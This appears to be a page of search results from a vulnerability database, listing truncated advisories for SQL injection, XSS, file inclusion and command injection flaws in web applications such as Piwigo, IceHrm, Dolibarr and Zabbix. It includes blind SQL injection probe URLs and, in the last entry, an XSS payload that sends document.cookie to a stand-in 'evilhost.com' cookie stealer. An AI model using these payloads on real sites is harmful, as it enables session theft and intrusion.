65 matches found
Piwigo 2.7.2 SQL Injection / Cross Site Scripting Vulnerabilities
Piwigo version 2.7.2 suffers from cross site scripting and remote SQL injection vulnerabilities. Exploit Title: Piwigo - SQL Injection / Cross Site Scripting Vulnerability's Date: 19/12/2014 Url Vendor: http://www.piwigo.org/ Vendor Name: Piwigo Version: 2.7.2 CVE: CVE-2014-1470 CVE References:...
IceHrm 7.1 - Multiple Vulnerabilities
IceHrm 7.1 - Multiple Vulnerabilities IceHrm =7.1 Multiple Vulnerabilities Vendor: IceHRM Product web page: http://www.icehrm.com Affected version: = 7.1 Summary: IceHrm is Human Resource Management web software for small and medium sized organizations. The software is written in PHP. It has...
IceHrm <=7.1 Multiple Vulnerabilities
Summary IceHrm is Human Resource Management web software for small and medium sized organizations. The software is written in PHP. It has community free, commercial and hosted cloud solution. Description IceHrm IceHrm =7.1 Multiple Vulnerabilities Vendor: IceHRM Product web page:...
IceHrm 7.1 LFI / CSRF / XSS / Shell Upload
IceHrm =7.1 Multiple Vulnerabilities Vendor: IceHRM Product web page: http://www.icehrm.com Affected version: = 7.1 Summary: IceHrm is Human Resource Management web software for small and medium sized organizations. The software is written in PHP. It has community free, commercial and hosted...
Black Sheep Web Software Form Tools 1.5 Multiple Remote File Include Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/26889/info Black Sheep Web Software Form Tools is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to...
php php/fi 2.0 - Directory Traversal vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/2250/info PHP/FI is an software suite designed to offer enhanced features to sites served via the World Wide Web. It is open source, freely available, and maintained by the PHP development team. A problem with the softwar...
Dolibarr ERP/CRM < 3.2.0 / < 3.1.1 - OS Command Injection
Dolibarr ERP & CRM OS Command Injection =================================== 1. Advisory Information Date published: 2012-4-6 Vendors contacted: Dolibarr Release mode: Coordinated release 2. Vulnerability Information Class: Injection Remotely Exploitable: Yes Locally Exploitable: Yes 3. Software...
Dolibarr ERP / CRM OS Command Injection
Dolibarr ERP & CRM OS Command Injection =================================== 1. Advisory Information Date published: 2012-4-6 Vendors contacted: Dolibarr Release mode: Coordinated release 2. Vulnerability Information Class: Injection Remotely Exploitable: Yes Locally Exploitable: Yes 3. Software...
Zabbix <= 1.8.4 (popup.php) SQL Injection
Exploit for php platform in category web applications Exploit Title: Zabbix = 1.8.4 SQL Injection Google Dork: "Zabbix 1.8.4 Copyright 2001-2010 by SIA Zabbix" Date: November 24th, 2011 Author: Marcio Almeida Software Link:...
Potential XSS vector in Zend_Service_ReCaptcha_MailHide
More info at https://framework.zend.com/security/advisory/ZF2010-05...
ActiveBids Blind SQL Injection
ActiveBids default.asp Blind SQL Injection Vulnerability Author : Hussin X Home : www.IQ-TY.com email : [email protected] Vendor : http://www.activewebsoftwares.com Demo : http://server/default.asp?catid=39+and+1=1 true http://server/default.asp?catid=39+and+1=0 false :: test ::...
Active Web Mail v 4 Blind SQL Injection Vulnerability
Exploit for unknown platform in category web applications ===================================================== Active Web Mail v 4 Blind SQL Injection Vulnerability ===================================================== Tybe:emails.aspx TabOpenQuickTab1 Blind SQL Injection Vulnerability...
DEBIAN-CVE-2008-4796
The httpsrequest function Snoopy/Snoopy.class.php in Snoopy 1.2.3 and earlier, as used in 1 ampache, 2 libphp-snoopy, 3 mahara, 4 mediamate, 5 opendb, 6 pixelpost, and possibly other products, allows remote attackers to execute arbitrary commands via shell metacharacters in https URLs...
JETIK-WEB Software (sayfa.php kat) SQL Injection Vulnerability
Exploit for unknown platform in category web applications ============================================================== JETIK-WEB Software sayfa.php kat SQL Injection Vulnerability ==============================================================...
JETIK-WEB Software - kat SQL Injection
JETIK-WEB Software - kat SQL Injection ----------------------------------------------------------- JETIK-WEB Software v1 - SQL Injection Vulnerability http://www.jetik.net ---------------------------------------------------------- Bug founded by d3v1l Date: 22.09.2008 [email protected]...
Black Sheep Web Software Form Tools 1.5 - Multiple Remote File Inclusions
source: https://www.securityfocus.com/bid/26889/info Black Sheep Web Software Form Tools is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the...
[ECHO_ADV_78$2007] C-Arbre <= 0.6PR7 (root_path) Remote File Inclusion Vulnerability
ECHOADV78$2007 ----------------------------------------------------------------------------------------- ECHOADV78$2007 C-Arbre = 0.6PR7 rootpath Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran Addahro...
C-Arbre <= 0.6PR7 (root_path) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ================================================================= C-Arbre = 0.6PR7 rootpath Remote File Inclusion Vulnerability ================================================================= \ /\ \ / | \ \ | / \ // / | \ | \ \ Y / |...
ASPNuke 0.80 - 'register.asp' SQL Injection
Title : ASPNuke = 0.80 register.asp Remote SQL Injection Vulnerability Author : ajann S.Page : http://www.aspnuke.com D.Page : http://sourceforge.net/project/showfiles.php?groupid=92470 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ASP Nuke...
CmscoutXSS.txt
Cmscout window.navigate'http://www.evilhost.com/cookiestealer.php?c='+document.cookie we could obtain the admin's cookie. The inside of BBcode isn't filtered either. This goes for the forums too. Nomenumbra/0x4F4C...